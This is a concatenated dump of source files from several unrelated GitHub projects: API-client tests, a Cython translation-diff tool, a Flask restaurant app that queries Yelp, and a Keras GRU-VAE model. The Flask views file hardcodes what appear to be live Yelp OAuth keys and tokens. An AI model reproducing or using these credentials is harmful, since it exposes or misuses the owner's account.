responses[0] async def no_test_no_cache(factory): client = await factory(api_key, use_cache=False) assert unique([await client._get(url_uuid) for _ in range(2)]) assert unique(await client._gets([url_uuid] * 2)) # FIXME: complete test async def test_data_handler(factory): client = await factory(api_key, data_handler=lambda *x: None) await client._get(url_uuid) if __name__ == "__main__": import run_tests run_tests.run(__file__) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import pytest import asyncio from brawlpython.sessions import AsyncSession from brawlpython.api_toolkit import unique, same from brawlpython.cache_utils import iscoro from configobj import ConfigObj url_uuid = "http://httpbin.org/uuid" # @pytest.yield_fixture # def api_key(): config = ConfigObj("config.ini") api_key = config["DEFAULT"].get("API_KEY") @pytest.fixture def factory(loop): client = None async def maker(*args, **kwargs): nonlocal client client = await AsyncSession(*args, **kwargs) return client yield maker if client is not None: loop.run_until_complete(client.close()) @pytest.fixture def client(factory, loop): return loop.run_until_complete(factory(api_key, cache_ttl=1)) async def test_async_init(): client = AsyncSession(api_key) assert iscoro(client) assert isinstance(await client, AsyncSession) async def test_closing(client): assert not client.closed for _ in 1, 2: await client.close() assert client.closed async def test_cache(client): responses = [await client.get(url_uuid) for _ in range(2)] assert same(responses) await asyncio.sleep(2) assert await client.get(url_uuid) != responses[0] async def test_no_cache(factory): client = await factory(api_key, use_cache=False) assert unique([await client.get(url_uuid) for _ in range(2)]) assert unique(await client.gets([url_uuid] * 2)) if __name__ == "__main__": import run_tests run_tests.run(__file__) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import pytest import asyncio from brawlpython import AsyncClient from brawlpython.base_classes import AsyncWith, SyncWith, AsyncInitObject from brawlpython.cache_utils import iscoro async def test_async_with(): async with AsyncWith() as async_with: assert isinstance(async_with, AsyncWith) assert async_with.test_close async_with = AsyncWith() await async_with.close() assert async_with.test_close with pytest.raises(TypeError): async with SyncWith(): pass def test_sync_with(): with SyncWith() as sync_with: assert isinstance(sync_with, SyncWith) assert sync_with.test_close sync_with = SyncWith() sync_with.close() assert sync_with.test_close with pytest.raises(TypeError): with AsyncWith(): pass async def test_async_init(): client = AsyncInitObject() assert iscoro(client) assert isinstance(await client, AsyncInitObject) if __name__ == "__main__": import run_tests run_tests.run(__file__) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import pytest from brawlpython.exceptions import ClientResponseError, UnexpectedResponseCode def test_repr(): exc = ClientResponseError("1", "2", "3") assert eval(repr(exc)) == exc exc = UnexpectedResponseCode("1", 2, "3", "4") assert eval(repr(exc)) == exc if __name__ == "__main__": import run_tests run_tests.run(__file__) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from brawlpython.sessions import SyncSession from brawlpython.api_toolkit import unique, same from configobj import ConfigObj import pytest import time url_uuid = "http://httpbin.org/uuid" config = ConfigObj("config.ini") api_key = config["DEFAULT"].get("API_KEY") @pytest.yield_fixture def factory(): client = None def maker(*args, **kwargs): nonlocal client client = SyncSession(*args, **kwargs) return client yield maker if client is not None: client.close() @pytest.yield_fixture def client(factory): return factory(api_key, cache_ttl=1) def test_sync_init(): client = SyncSession(api_key) assert isinstance(client, SyncSession) def test_closing(client): assert not client.closed for _ in 1, 2: client.close() assert client.closed def test_cache(client): responses = [client.get(url_uuid) for _ in range(2)] assert same(responses) time.sleep(2) assert client.get(url_uuid) != responses[0] def test_no_cache(factory): client = factory(api_key, use_cache=False) assert unique([client.get(url_uuid) for _ in range(2)]) assert unique(client.gets([url_uuid] * 2)) if __name__ == "__main__": import run_tests run_tests.run(__file__)
[ "/brawlpython/__init__.py", "/brawlpython/api.py", "/brawlpython/api_toolkit.py", "/brawlpython/base_classes.py", "/brawlpython/cache_utils.py", "/brawlpython/clients.py", "/brawlpython/exceptions.py", "/brawlpython/sessions.py", "/brawlpython/typedefs.py", "/examples/async_client.py", "/examples/sync_client.py", "/setup.py", "/tests/run_tests.py", "/tests/test_async_client.py", "/tests/test_async_session.py", "/tests/test_base_classes.py", "/tests/test_exceptions.py", "/tests/test_sync_session.py" ]
0dminnimda/translation_comparator
import cython def test(): p: cython.int[1000] = [0] * 1000 p[0] = 100 --- FILE SEPARATOR --- from pathlib import Path from translation_comparator import show_via_vscode from translation_comparator.cython import settings from translation_comparator.cython.with_cython import cythonize_and_compare # we use "\n " because otherwise the newline will be thrown in diff settings.str_between_lines = "\n " + "="*100 + "\n "*2 settings.out_ext = ".c" # only for save_as_diff = False settings.build_dir = Path("build/") # the output files will be saved here settings.diff_dir = Path("diff/") # the html will be located here settings.show_func = show_via_vscode # False - save as two separate files and call function # with their names to show the diff, here - show_via_vscode # True - output one .diff file with diff using difflib settings.save_as_diff = False # remove most of the useless difference between files # so you can focus on the real difference; # takes in patterns, that glob will accept # "\\!" - excude ones that matches this, pattern order doesn't matter # keyword arguments will be used for cythonize cythonize_and_compare( "*", "\\!run_cython_comparison.py", # or "array.*" to capture only files with stem "array" language_level=3) # you can see result in the diff folder --- FILE SEPARATOR --- #!/usr/bin/python import os from glob import glob from setuptools import find_packages, setup from translation_comparator import __name__, __version__ requirements = {} for path in glob("requirements/*.txt"): with open(path) as file: name = os.path.basename(path)[:-4] requirements[name] = [line.strip() for line in file] with open("README.md") as file: long_description = file.read() github_link = "https://github.com/0dminnimda/{0}".format(__name__) setup( name=__name__, version=__version__, description="Helps to compare translated code.", long_description=long_description, long_description_content_type="text/markdown", author="0dminnimda", author_email="0dminnimda.contact@gmail.com", url=github_link, packages=find_packages(), classifiers=[ "Development Status :: 3 - Alpha", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Topic :: Software Development :: Libraries :: Python Modules", "Topic :: Utilities", "Typing :: Typed", ], license="MIT", project_urls={ "Bug tracker": github_link + "/issues", }, install_requires=requirements.pop("basic"), python_requires=">=3.7", extras_require=requirements, ) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- __version__ = "0.1.0" __name__ = "translation_comparator" from . import cython from .comparison_helpers import (compare_cythonized, construct_pairs, unique_path_list) from .show_functions import show_via_cmd, show_via_vscode __all__ = ( "__version__", "__name__", "cython", "compare_cythonized", "construct_pairs", "unique_path_list", "show_via_cmd", "show_via_vscode") --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pathlib import Path from typing import Iterable, List, Set, Tuple from . import cython from .cython import settings as cython_settings from .cython.code_comparator import (build_diff_path, build_out_path, compare_and_save_two_files_by_path) from .path_helpers import change_same_paths_if_needed def compare_cythonized(pairs: Iterable[Iterable[Path]]) -> None: show_func = cython_settings.show_func if cython_settings.create_dirs: if not cython_settings.diff_dir.exists(): cython_settings.diff_dir.mkdir() if not cython_settings.build_dir.exists(): cython_settings.build_dir.mkdir() for path1, path2 in pairs: compare_and_save_two_files_by_path(path1, path2) # yes, it cannot be in the start of the loop body # beacuse of get_code_from_two_files_by_path path1, path2 = change_same_paths_if_needed(path1, path2) if cython_settings.save_as_diff: show_func(True, [build_diff_path(path1, path2)]) else: show_func(False, [build_out_path(path1), build_out_path(path2)]) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from . import settings from .annotated_html_parser import (get_code_from_two_files, get_code_from_two_files_by_path) from .code_comparator import (compare_and_save_two_files, compare_and_save_two_files_by_path) from .path_builders import build_via_suffix_change __all__ = ( "settings", "get_code_from_two_files", "get_code_from_two_files_by_path", "compare_and_save_two_files", "compare_and_save_two_files_by_path", "build_via_suffix_change") --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import re from pathlib import Path from typing import List, Tuple from bs4 import BeautifulSoup, FeatureNotFound from bs4.element import Tag def get_code_from_soup(soup: BeautifulSoup) -> List[str]: return [ tag.text for tag in soup.find_all("pre", class_="code")] def get_soup_from_html(path: Path) -> BeautifulSoup: html = path.with_suffix(".html").read_text() html = html.replace(path.stem, "{fname}") html = html.replace(path.stem[:-1], "{fname}") html = re.sub(r"\d+{fname}", "{num_fname}", html) html = html.replace("{fname}" + "_" + path.suffix[1:], "{fname_suf}") try: return BeautifulSoup(html, "lxml") except FeatureNotFound: try: return BeautifulSoup(html, "html5lib") except FeatureNotFound: return BeautifulSoup(html, "html.parser") def get_code_from_two_files_by_path( path1: Path, path2: Path ) -> Tuple[List[str], List[str]]: return ( get_code_from_soup(get_soup_from_html(path1)), get_code_from_soup(get_soup_from_html(path2))) def get_code_from_two_files( file1: str, file2: str ) -> Tuple[List[str], List[str]]: return get_code_from_two_files_by_path( Path(file1), Path(file2)) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import re from difflib import restore from pathlib import Path from re import Match from typing import Iterable, List from ..path_helpers import change_same_paths_if_needed from ..typedefs import DIFF_FUNC from . import settings from .annotated_html_parser import get_code_from_two_files_by_path def chunks_to_lines(chunks: Iterable[str]) -> List[str]: return settings.str_between_lines.join(chunks).split("\n") def diff_of_several(func: DIFF_FUNC, a: Iterable[str], b: Iterable[str]) -> str: return "\n".join(func(chunks_to_lines(a), chunks_to_lines(b))) def write_restored_diff(path: Path, lines: Iterable[str]) -> None: build_out_path(path).write_text("\n".join(lines)) def repl(match: Match) -> str: if ( 0 < match.group(2).count("^") < settings.replace_threshold and 0 < match.group(4).count("^") < settings.replace_threshold ): return f" {match.group(1)}" return match.group(0) def equate_similar_lines(string: str) -> str: pattern = re.compile(r"- (.+)\n\? (.+)\n\n\+ (.+)\n\? (.+)") return pattern.sub(repl, string) def build_diff_path(path1: Path, path2: Path) -> Path: return settings.diff_dir.joinpath( path1.stem + "+" + path2.stem).with_suffix(settings.diff_ext) def build_out_path(path: Path) -> Path: return settings.diff_dir.joinpath( path.name).with_suffix(settings.out_ext) def compare_and_save_two_files_by_path(path1: Path, path2: Path) -> None: code1, code2 = get_code_from_two_files_by_path(path1, path2) compare_result = diff_of_several(settings.differ.compare, code1, code2) comparison_str = equate_similar_lines(compare_result) path1, path2 = change_same_paths_if_needed(path1, path2) if settings.save_as_diff: build_diff_path(path1, path2).write_text(comparison_str) else: split = comparison_str.split("\n") write_restored_diff(path1, restore(split, 1)) write_restored_diff(path2, restore(split, 2)) def compare_and_save_two_files(file1: str, file2: str) -> None: return compare_and_save_two_files_by_path(Path(file1), Path(file2)) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pathlib import Path from typing import Tuple def build_via_suffix_change(path: Path) -> Tuple[Path, Path]: "'path.*' -> 'path.py', 'path.pyx'" return path.with_suffix(".py"), path.with_suffix(".pyx") def unique_stem_via_suffix(path: Path) -> Path: return path.with_stem(path.stem + "_" + path.suffix[1:]) def unique_name_via_number(path: Path) -> Tuple[Path, Path]: return (path.with_name(path.name + " (0)"), path.with_name(path.name + " (1)")) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from difflib import Differ from pathlib import Path from typing import Container from ..show_functions import show_via_cmd from ..typedefs import GEN_PATH_FUNC, PATH_FUNC, SHOW_FUNC from .path_builders import (build_via_suffix_change, unique_name_via_number, unique_stem_via_suffix) replace_threshold: int = 3 str_between_lines: str = "\n " + "#"*100 + "\n "*2 out_ext: str = ".txt" diff_ext: str = ".diff" extensions: Container[str] = (".py", ".pyx") build_dir: Path = Path("build/") py_dir: Path = Path("py/") pyx_dir: Path = Path("pyx/") diff_dir: Path = Path("diff/") path_func: GEN_PATH_FUNC = build_via_suffix_change show_func: SHOW_FUNC = show_via_cmd unique_stem_func: PATH_FUNC = unique_stem_via_suffix unique_name_func: GEN_PATH_FUNC = unique_name_via_number save_as_diff: bool = True create_dirs: bool = True differ: Differ = Differ() --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pathlib import Path from typing import Iterable from Cython.Build import cythonize from ..comparison_helpers import compare_cythonized from ..pair_finders import pairs_and_extentions_for_cython from . import settings def cythonize_paths(paths: Iterable[Path], **kwargs) -> None: if "module_list" in kwargs: raise ValueError("module_list should not be present") kwargs.update(build_dir=str(settings.build_dir), annotate=True) cythonize(list(map(str, paths)), **kwargs) def cythonize_and_compare(*patterns: str, **kwargs): pairs, py_paths, pyx_paths = pairs_and_extentions_for_cython(*patterns) build_dir = settings.build_dir settings.build_dir = build_dir.joinpath(settings.py_dir) # dirty singleton cythonize_paths(py_paths, **kwargs) settings.build_dir = build_dir.joinpath(settings.pyx_dir) cythonize_paths(pyx_paths, **kwargs) settings.build_dir = build_dir compare_cythonized(pairs) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from distutils.extension import Extension from pathlib import Path from typing import Collection, Iterable, Iterator, List, Optional, Set, Tuple from .cython import settings as cython_settings from .path_helpers import full_path, relative_to_cwd, self_glob, with_parent from .typedefs import GEN_PATH_FUNC def includes_excludes_from_patterns( *patterns: str ) -> Tuple[List[Path], List[Path]]: includes, excludes = [], [] for pattern in patterns: if pattern[:2] == "\\!": excludes.append(full_path( Path(pattern[2:]))) else: includes.append(full_path( Path(pattern))) return includes, excludes def no_matches(path: Path, patterns: Collection[Path]) -> bool: for pattern in patterns: if path.match(str(pattern)): return False return True def matching_paths( includes: Iterable[Path], excludes: Collection[Path], ) -> Iterator[Path]: for path in includes: for match in self_glob(path): if no_matches(match, excludes): yield match def paths_for_cython(*patterns: str) -> Iterator[Path]: # if returned is None: returned: Set[str] = set() includes, excludes = includes_excludes_from_patterns(*patterns) extensions = cython_settings.extensions for path in matching_paths(includes, excludes): if path.suffix in extensions and path.name not in returned: yield path returned.add(path.name) def pairs_and_extentions_for_cython( *patterns: str ) -> Tuple[List[Tuple[Path, Path]], List[Path], List[Path]]: pairs: List[Tuple[Path, Path]] = [] py_paths: List[Path] = [] pyx_paths: List[Path] = [] path_func = cython_settings.path_func build_dir = cython_settings.build_dir for path in paths_for_cython(*patterns): path1, path2 = path_func(path) path1 = relative_to_cwd(path1) path2 = relative_to_cwd(path2) new_path1 = with_parent(path1, cython_settings.py_dir) new_path2 = with_parent(path2, cython_settings.pyx_dir) py_paths.append(path1) pyx_paths.append(path2) pairs.append(( cython_settings.build_dir.joinpath(new_path1), cython_settings.build_dir.joinpath(new_path2))) return pairs, py_paths, pyx_paths --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from glob import iglob from pathlib import Path from typing import Iterator, Tuple from .cython import settings as cython_settings def self_glob(path: Path) -> Iterator[Path]: for string in iglob(str(path)): yield Path(string) def full_path(path: Path) -> Path: return path.expanduser().absolute() def relative_to_cwd(path: Path) -> Path: return path.relative_to(Path.cwd()) def with_parent(path: Path, directory: Path) -> Path: return directory.joinpath(path.name) def change_same_paths_if_needed(path1: Path, path2: Path) -> Tuple[Path, Path]: if path1.stem == path2.stem: return (cython_settings.unique_stem_func(path1), cython_settings.unique_stem_func(path2)) if path1.name == path2.name: return cython_settings.unique_name_func(path1) return (path1, path2) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import sys import warnings from .typedefs import SHOW_FUNC_DATA def show_via_vscode(save_as_diff: bool, data: SHOW_FUNC_DATA) -> None: if save_as_diff: os.system(f"code {data[0]}") # open file in vscode else: os.system(f"code --diff {data[0]} {data[1]}") # open file diff def show_via_cmd(save_as_diff: bool, data: SHOW_FUNC_DATA) -> None: if sys.platform == "win32": if save_as_diff: os.system(f"more \"{data[0]}\"") # output file contents else: os.system(f"FC \"{data[0]}\" \"{data[1]}\"") # output file diff elif (sys.platform.startswith('linux') or sys.platform in ('cygwin', 'darwin') ): if save_as_diff: os.system(f"cat \"{data[0]}\"") # open file contents else: os.system(f"diff \"{data[0]}\" \"{data[1]}\"") # output file diff else: warnings.warn("Viewing cmd difference is not yet supported in " + sys.platform + " (" + os.name + ")") --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pathlib import Path from typing import (Callable, Iterable, Iterator, List, Sequence, Tuple, TypeVar, Union) SHOW_FUNC_DATA = Sequence[Path] SHOW_FUNC = Callable[[bool, SHOW_FUNC_DATA], None] DIFF_FUNC = Callable[ [Sequence[str], Sequence[str]], Iterable[str]] GEN_PATH_FUNC = Callable[[Path], Tuple[Path, Path]] PATH_FUNC = Callable[[Path], Path]
[ "/examples/cython/array.py", "/examples/cython/run_cython_comparison.py", "/setup.py", "/translation_comparator/__init__.py", "/translation_comparator/comparison_helpers.py", "/translation_comparator/cython/__init__.py", "/translation_comparator/cython/annotated_html_parser.py", "/translation_comparator/cython/code_comparator.py", "/translation_comparator/cython/path_builders.py", "/translation_comparator/cython/settings.py", "/translation_comparator/cython/with_cython.py", "/translation_comparator/pair_finders.py", "/translation_comparator/path_helpers.py", "/translation_comparator/show_functions.py", "/translation_comparator/typedefs.py" ]
0ffkilter/Welp
from welp import welp if __name__ == '__main__': welp.run(debug=True) --- FILE SEPARATOR --- from flask import Flask welp = Flask(__name__) welp.config.from_object('welp.config.Config') from welp import views --- FILE SEPARATOR --- from flask.ext.wtf import Form from wtforms import TextField, PasswordField, SelectMultipleField, RadioField class PreferencesForm(Form): fchoices = [('love','love'),('meh','meh'),('hate','not feeling it')] indpak = RadioField('Indian', choices=fchoices, default = "meh") greek = RadioField('Greek', choices=fchoices, default = "meh") thai = RadioField('Thai', choices=fchoices, default = "meh") tradamerican = RadioField('American', choices=fchoices, default = "meh") italian = RadioField('Italian' , choices=fchoices, default = "meh") norwegian = RadioField('Traditional Norwegian' , choices=fchoices, default = "meh") mexican = RadioField('Cexican' , choices=fchoices, default = "meh") chinese = RadioField('Chinese' , choices=fchoices, default = "meh") japanese = RadioField('Japanese', choices=fchoices, default = "meh") pizza = RadioField('Pizza', choices=fchoices, default = "meh") diners = RadioField('Diners' , choices=fchoices, default = "meh") --- FILE SEPARATOR --- from flask.ext.wtf import Form from wtforms import TextField, PasswordField, SelectMultipleField, RadioField from wtforms.validators import Required, Email, EqualTo class PreferencesForm(Form): food0 = RadioField('Food0', choices=[('love',''),('meh',''),('hate','')]) # class RegisterForm(Form): # teamname = TextField('Team Name', validators=[Required()]) # names = TextField('Names', validators=[Required()]) # languages = SelectMultipleField('Languages', validators=[], choices=[ # ('python', 'Python'), # ('java', 'Java'), # ('javascript', 'JavaScript') # ]) # email = TextField('Email', validators=[Required(), Email()]) # password = PasswordField('Password', validators=[Required()]) # confirm = PasswordField('Confirm', validators=[ # Required(), EqualTo('password', message='Passwords do not match.')]) # test = RadioField('Label', choices=[('value','description'),('value_two','whatever')]) # class LoginForm(Form): # teamname = TextField('Team Name', validators=[Required()]) # password = PasswordField('Password', validators=[Required()]) --- FILE SEPARATOR --- from flask import render_template from flask import jsonify from flask import request import rauth import time from welp import welp from forms import PreferencesForm from werkzeug.contrib.cache import SimpleCache CACHE_TIMEOUT = 300 cache = SimpleCache() class cached(object): def __init__(self, timeout=None): self.timeout = timeout or CACHE_TIMEOUT def __call__(self, f): def decorator(*args, **kwargs): response = cache.get(request.path) if response is None: response = f(*args, **kwargs) cache.set(request.path, response, self.timeout) return response return decorator def reducer(eateries): #list of dictionaries, cuts it down to the most mediocre three restaurants for that category p = len(eateries) eateries.sort(key=operator.itemgetter('rating')) x = p while x > 3: eateries = eateries[:-1] x = len(eateries) else: return eateries def get_search_parameters(lat, long, foods): params = {} params["term"] = "restaurants" params["ll"] = "{},{}".format(str(lat), str(long)) params["radius_filter"] = "40000" params["limit"] = "20" params["offset"] = "30" params["sort"] = 2 params["category_filter"] = foods return params def get_results(params): consumer_key = "TwiZjmvAvrct4Xu6OxN49w" consumer_secret = "Ul7lj0H4wBdvPdY8Ci9eZkdI4tE" token = "B93gZUtPLgD5KRc-IwBicN3qt30xUt2B" token_secret = "p_gv7ofsb_LAfl-_u8hL30ezLrY" session = rauth.OAuth1Session( consumer_key = consumer_key ,consumer_secret = consumer_secret ,access_token = token ,access_token_secret = token_secret) request = session.get("http://api.yelp.com/v2/search", params = params) data = request.json() session.close() return data @welp.route('/', methods=['GET', 'POST']) def index(): foodForm = PreferencesForm(csrf_enabled=False) location = request.args.get('location') cache.set('location', location, timeout = 10 * 60) if (request.method == "POST"): lst = [] if (foodForm.indpak.data == "meh"): lst += ["indpak"] if (foodForm.greek.data == "meh"): lst += ["greek"] if (foodForm.thai.data == "meh"): lst += ["thai"] if (foodForm.tradamerican.data == "meh"): lst += ["tradamerican"] if (foodForm.italian.data == "meh"): lst += ["italian"] if (foodForm.norwegian.data == "meh"): lst += ["norwegian"] if (foodForm.mexican.data == "meh"): lst += ["mexican"] if (foodForm.chinese.data == "meh"): lst += ["chinese"] if (foodForm.japanese.data == "meh"): lst += ["japanese"] if (foodForm.pizza.data == "meh"): lst += ["pizza"] if (foodForm.diners.data == "meh"): lst += ["diners"] if len(lst) == 0: lst = ['tradamerican', 'italian', 'indpak', 'norwegian', 'greek','thai', 'mexican', 'chinese', 'japanese', 'pizza', 'diners'] mehfoods = lst api_calls = [] bizlist = [] nbizlist = [] n = len(mehfoods) for x in range (0,n): cat = mehfoods[x] for lat, long in location: params = get_search_parameters(lat, long, cat) api_calls.append(get_results(params)) eateries = api_calls[x][u'businesses']#.sort(key=operator.itemgetter('rating')) api_calls[x][u'businesses'] = reducer(eateries) time.sleep(1.0) l = len(api_calls[x][u'businesses']) bizlist.append(api_calls[x][u'businesses']) h = len(bizlist) for z in range (0, h): nbizlist += bizlist[z] nbizlist.sort(key=operator.itemgetter('distance')) cache.set( nbizlist, CACHE_TIMEOUT) return render_template('index.html', food_form = foodForm) @welp.route('/results', methods=['GET', 'POST']) def results(): return render_template('results.html') # @welp.route('/', methods=['GET']) # def food_prefs(): # mehFoods = "" # for food, pref in foodPrefs.iteritems(): # newPref = request.form[food] # foodPrefs[food] = newPref # if newPref == 'meh': # mehFoods += food # mehFoods += ' ' # print mehFoods # location = request.args.get('location')
[ "/run.py", "/welp/__init__.py", "/welp/forms.py", "/welp/templates/forms.py", "/welp/views.py" ]
0fftheground/fan-fault_lab
from model._globals import Config import logging import os import sys config = Config('config.yaml') def make_dirs(_id): '''Create directories for storing data in repo (using datetime ID) if they don't already exist''' paths = ['result', 'result/%s' % _id, 'result/%s/models' % _id] for p in paths: if not os.path.isdir(p): os.mkdir(p) def setup_logging(config, _id): '''Configure logging object to track parameter settings,training, and evaluation. Args: config(object):Global object specifying system runtime params. Returns: logger(object):Logging object ''' logger = logging.getLogger(_id) hdlr = logging.FileHandler('result/%s/params.log' % _id) formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') hdlr.setFormatter(formatter) logger.addHandler(hdlr) logger.setLevel(logging.INFO) stdout = logging.StreamHandler(sys.stdout) stdout.setLevel(logging.INFO) logger.addHandler(stdout) logger.info("Runtime params:") logger.info("----------------") for attr in dir(config): if not "__" in attr and not attr in ['header', 'date_format', 'path_to_config', 'build_group_lookup']: logger.info('%s: %s' % (attr, getattr(config, attr))) logger.info("----------------\n") return logger --- FILE SEPARATOR --- from keras.models import Sequential, load_model from keras.callbacks import History, EarlyStopping, Callback from keras import layers from keras.engine.input_layer import Input from keras import backend as K from keras.models import Model import matplotlib.pyplot as plt from keras import objectives import numpy as np import os from model._globals import Config from sklearn.preprocessing import StandardScaler, MinMaxScaler # config config = Config('config.yaml') os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' # suppress tensorflow CPU speedup warnings def get_gru_vae_model(X_train, logger, _id, train=False): '''Train gru vae model according to specifications in config.yaml or load pre-trained model. Args: X_train (np array):numpy array of training inputs with dimensions [timesteps,input_dim,] logger (object):logging object train (bool):If False,will attempt to load existing model from repo Returns: model (object):Trained Keras gru vae model ''' cbs = [History(), EarlyStopping(monitor='vae_loss', patience=config.patience, min_delta=config.min_delta, verbose=0)] # build encoder model inputs = Input(shape=(X_train.shape[1], 1,)) x = layers.Conv1D(config.filters[0], config.kernel_size, strides=config.strides, activation=config.activation, )(inputs) x = layers.MaxPool1D(config.max_pooling)(x) x = layers.Conv1D(config.filters[1], config.kernel_size, strides=config.strides, activation=config.activation, )(x) x = layers.MaxPool1D(config.max_pooling)(x) # shape info need to build decoder model shape = K.int_shape(x) x = layers.GRU(config.layers[0], activation=config.activation, return_sequences=True)(x) x = layers.Dropout(config.dropout)(x) x = layers.GRU(config.layers[0], activation=config.activation, return_sequences=False)(x) x = layers.Dropout(config.dropout)(x) # generate latent vector z_mean = layers.Dense(config.layers[1])(x) z_log_var = layers.Dense(config.layers[1])(x) def sampling(args): z_mean, z_log_var = args epsilon = K.random_normal(shape=(K.shape(z_mean)[0], config.layers[1]), mean=0., stddev=1.) return z_mean + K.exp(z_log_var) * epsilon z = layers.Lambda(sampling)([z_mean, z_log_var]) # build decoder model z_decoded = layers.RepeatVector(shape[1])(z) z_decoded = layers.GRU(shape[2], activation=config.activation, return_sequences=True)(z_decoded) z_decoded = layers.GRU(shape[2], activation=config.activation, return_sequences=True)(z_decoded) z_decoded = layers.UpSampling1D(config.max_pooling)(z_decoded) def Conv1DTranspose(input_tensor, filters, kernel_size, strides, activation): x = layers.Lambda(lambda x: K.expand_dims(x, axis=2))(input_tensor) x = layers.Conv2DTranspose(filters=filters, kernel_size=(kernel_size, 1), strides=(strides, 1), activation=activation)(x) x = layers.Lambda(lambda x: K.squeeze(x, axis=2))(x) return x z_decoded = Conv1DTranspose(z_decoded, filters=config.filters[1], kernel_size=config.kernel_size, activation=config.activation, strides=config.strides) z_decoded = layers.Flatten()(z_decoded) z_decoded = layers.Dense(X_train.shape[1], activation=config.activation)(z_decoded) def vae_loss(inputs, z_decoded): z_decoded= K.expand_dims(z_decoded, -1) xent_loss = objectives.mse(inputs, z_decoded) kl_loss = - 0.5 * K.mean(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var)) loss = xent_loss + kl_loss return loss vae = Model(inputs, z_decoded) if not train and os.path.exists(os.path.join('result/%s/models' % _id, "gru_vae_model.h5")): logger.info("Loading pre-trained model") return load_model(os.path.join('result/%s/models' % _id, "gru_vae_model.h5"), custom_objects={'vae_loss': vae_loss, 'config': config}) elif (not train and not os.path.exists(os.path.join('result/%s/models' % _id, "gru_vae_model.h5"))) or train: if not train: logger.info("Training new model from scratch.") vae.summary() vae.compile(optimizer=config.optimizer, loss=vae_loss) history = vae.fit(X_train, X_train, batch_size=config.lstm_batch_size, epochs=config.epochs, callbacks=cbs, verbose=True) plt.plot(history.history['loss']) plt.ylabel("loss") plt.xlabel("epoch") plt.savefig(os.path.join('result/%s/models' % _id, "gru_vae_model_loss.png"), dpi=300) vae.save(os.path.join('result/%s/models' % _id, "gru_vae_model.h5")) return vae def _get_gru_vae_model(X_train, logger, _id, train=False): '''Train gru vae model according to specifications in config.yaml or load pre-trained model. Args: X_train (np array):numpy array of training inputs with dimensions [timesteps,input_dim,] logger (object):logging object train (bool):If False,will attempt to load existing model from repo Returns: model (object):Trained Keras gru vae model ''' if not train and os.path.exists(os.path.join('data/%s/models' % _id, "model.h5")): logger.info("Loading pre-trained model") return load_model(os.path.join('data/%s/models' % _id, "model.h5")) elif (not train and not os.path.exists(os.path.join('data/%s/models' % _id, "model.h5"))) or train: if not train: logger.info("Training new model from scratch.") cbs = [History(), EarlyStopping(monitor='val_loss', patience=config.patience, min_delta=config.min_delta, verbose=0)] # build encoder model inputs = Input(shape=(X_train.shape[1], 1,)) x = layers.Conv1D(config.filters[0], config.kernel_size, strides=config.strides, activation=config.activation, )(inputs) x = layers.MaxPool1D(config.max_pooling)(x) x = layers.Conv1D(config.filters[1], config.kernel_size, strides=config.strides, activation=config.activation, )(x) x = layers.MaxPool1D(config.max_pooling)(x) # shape info need to build decoder model shape = K.int_shape(x) x = layers.GRU(config.layers[0], activation=config.activation, return_sequences=True)(x) x = layers.Dropout(config.dropout)(x) x = layers.GRU(config.layers[0], activation=config.activation, return_sequences=False)(x) x = layers.Dropout(config.dropout)(x) # generate latent vector z_mean = layers.Dense(config.layers[1])(x) z_log_var = layers.Dense(config.layers[1])(x) def sampling(args): z_mean, z_log_var = args epsilon = K.random_normal(shape=(K.shape(z_mean)[0], config.layers[1]), mean=0., stddev=1.) return z_mean + K.exp(z_log_var) * epsilon z = layers.Lambda(sampling)([z_mean, z_log_var]) # build decoder model z_decoded = layers.RepeatVector(shape[1])(z) z_decoded = layers.GRU(shape[2], activation=config.activation, return_sequences=True)(z_decoded) z_decoded = layers.GRU(shape[2], activation=config.activation, return_sequences=True)(z_decoded) z_decoded = layers.UpSampling1D(config.max_pooling)(z_decoded) z_decoded = layers.Conv1D(config.filters[1], config.kernel_size, strides=config.strides, activation=config.activation, )(z_decoded) def Conv1DTranspose(input_tensor, filters, kernel_size, strides, activation): x = layers.Lambda(lambda x: K.expand_dims(x, axis=2))(input_tensor) x = layers.Conv2DTranspose(filters=filters, kernel_size=(kernel_size, 1), strides=(strides, 1), activation=activation)(x) x = layers.Lambda(lambda x: K.squeeze(x, axis=2))(x) return x z_decoded = Conv1DTranspose(z_decoded, filters=config.filters[1], kernel_size=config.kernel_size, activation=config.activation, strides=config.strides) z_decoded = layers.Flatten()(z_decoded) z_decoded = layers.Dense(X_train.shape[1], activation=config.activation)(z_decoded) class CustomVariationalLayer(layers.Layer): def vae_loss(self, x, z_decoded): x = K.flatten(x) z_decoded = K.flatten(z_decoded) xent_loss = objectives.binary_crossentropy(x, z_decoded) kl_loss = -.5 * K.mean(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var), axis=-1) return K.mean(xent_loss + kl_loss) def call(self, inputs, **kwargs): x = inputs[0] z_decoded = inputs[1] loss = self.vae_loss(x, z_decoded) self.add_loss(loss, inputs=inputs) return x y = CustomVariationalLayer()([inputs, z_decoded]) vae = Model(inputs, y) vae.compile(optimizer=config.optimizer, loss=None) vae.summary() history = vae.fit(x=X_train, y=None, batch_size=config.lstm_batch_size, epochs=config.epochs, 